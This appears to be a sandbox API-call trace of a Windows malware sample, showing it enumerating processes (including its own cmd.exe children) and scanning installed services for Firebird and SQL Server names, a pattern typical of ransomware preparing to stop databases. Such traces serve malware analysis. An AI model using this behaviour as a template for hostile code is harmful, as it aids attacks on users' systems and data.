	[0189.677] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.677] lstrlenW (lpString="svchost.exe") returned 11
	[0189.677] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.678] lstrlenW (lpString="svchost.exe") returned 11
	[0189.678] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.678] lstrlenW (lpString="svchost.exe") returned 11
	[0189.678] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.679] lstrlenW (lpString="svchost.exe") returned 11
	[0189.679] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.679] lstrlenW (lpString="svchost.exe") returned 11
	[0189.679] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.680] lstrlenW (lpString="svchost.exe") returned 11
	[0189.680] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.680] lstrlenW (lpString="svchost.exe") returned 11
	[0189.680] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.681] lstrlenW (lpString="svchost.exe") returned 11
	[0189.681] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.681] lstrlenW (lpString="svchost.exe") returned 11
	[0189.681] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.681] lstrlenW (lpString="svchost.exe") returned 11
	[0189.682] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0189.682] lstrlenW (lpString="spoolsv.exe") returned 11
	[0189.682] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.682] lstrlenW (lpString="svchost.exe") returned 11
	[0189.682] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0189.683] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0189.683] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0189.684] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0189.684] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0189.684] lstrlenW (lpString="audiodg.exe") returned 11
	[0189.684] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0189.685] lstrlenW (lpString="Memory Compression") returned 18
	[0189.685] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0189.685] lstrlenW (lpString="taskhostw.exe") returned 13
	[0189.685] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0189.685] lstrlenW (lpString="sihost.exe") returned 10
	[0189.686] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.686] lstrlenW (lpString="svchost.exe") returned 11
	[0189.686] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0189.686] lstrlenW (lpString="taskhostw.exe") returned 13
	[0189.686] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0189.687] lstrlenW (lpString="explorer.exe") returned 12
	[0189.687] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0189.687] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0189.687] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0189.688] lstrlenW (lpString="SearchUI.exe") returned 12
	[0189.688] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0189.688] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0189.688] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0189.689] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0189.689] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0189.689] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0189.689] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0189.690] lstrlenW (lpString="dllhost.exe") returned 11
	[0189.690] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0189.690] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0189.690] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf04, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0189.691] lstrlenW (lpString="cmd.exe") returned 7
	[0189.691] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0189.691] lstrlenW (lpString="conhost.exe") returned 11
	[0189.691] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0189.692] lstrlenW (lpString="cmd.exe") returned 7
	[0189.692] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0189.692] lstrlenW (lpString="conhost.exe") returned 11
	[0189.692] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0189.693] CloseHandle (hObject=0x368) returned 1
	[0189.693] Sleep (dwMilliseconds=0x1f4) 
	[0190.875] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x78dfa8
	[0190.876] EnumServicesStatusExW (in: hSCManager=0x78dfa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0190.876] GetLastError () returned 0xea
	[0190.876] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c30) returned 0x7af770
	[0190.877] EnumServicesStatusExW (in: hSCManager=0x78dfa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7af770, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7af770, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0190.878] CloseServiceHandle (hSCObject=0x78dfa8) returned 1
	[0190.878] lstrlenW (lpString="Appinfo") returned 7
	[0190.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0190.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0190.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0190.878] lstrlenW (lpString="AppXSvc") returned 7
	[0190.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0190.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0190.878] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0190.878] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0190.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0190.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0190.878] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0190.878] lstrlenW (lpString="Audiosrv") returned 8
	[0190.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0190.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0190.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0190.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0190.879] lstrlenW (lpString="BFE") returned 3
	[0190.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0190.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0190.879] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0190.879] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0190.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0190.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0190.879] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0190.879] lstrlenW (lpString="CDPSvc") returned 6
	[0190.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0190.879] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0190.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0190.879] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0190.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0190.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0190.879] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0190.879] lstrlenW (lpString="CryptSvc") returned 8
	[0190.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0190.879] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0190.880] lstrlenW (lpString="DcomLaunch") returned 10
	[0190.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0190.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0190.880] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0190.880] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0190.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0190.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0190.880] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0190.880] lstrlenW (lpString="Dhcp") returned 4
	[0190.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0190.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0190.880] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0190.880] lstrlenW (lpString="Dnscache") returned 8
	[0190.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0190.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0190.880] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0190.880] lstrlenW (lpString="DPS") returned 3
	[0190.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0190.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0190.880] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0190.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0190.880] lstrlenW (lpString="DusmSvc") returned 7
	[0190.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0190.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0190.881] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0190.881] lstrlenW (lpString="EventLog") returned 8
	[0190.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0190.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0190.881] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0190.881] lstrlenW (lpString="EventSystem") returned 11
	[0190.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0190.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0190.881] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0190.881] lstrlenW (lpString="FontCache") returned 9
	[0190.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0190.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0190.881] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0190.881] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0190.881] lstrlenW (lpString="gpsvc") returned 5
	[0190.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0190.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0190.881] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0190.881] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0190.881] lstrlenW (lpString="iphlpsvc") returned 8
	[0190.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0190.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0190.881] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0190.881] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0190.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0190.881] lstrlenW (lpString="KeyIso") returned 6
	[0190.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0190.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0190.882] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0190.882] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0190.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0190.882] lstrlenW (lpString="LanmanServer") returned 12
	[0190.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0190.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0190.882] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0190.882] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0190.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0190.882] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0190.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0190.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0190.882] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0190.882] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0190.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0190.882] lstrlenW (lpString="lfsvc") returned 5
	[0190.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0190.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0190.882] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0190.882] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0190.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0190.882] lstrlenW (lpString="lmhosts") returned 7
	[0190.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0190.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0190.882] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0190.882] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0190.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0190.882] lstrlenW (lpString="LSM") returned 3
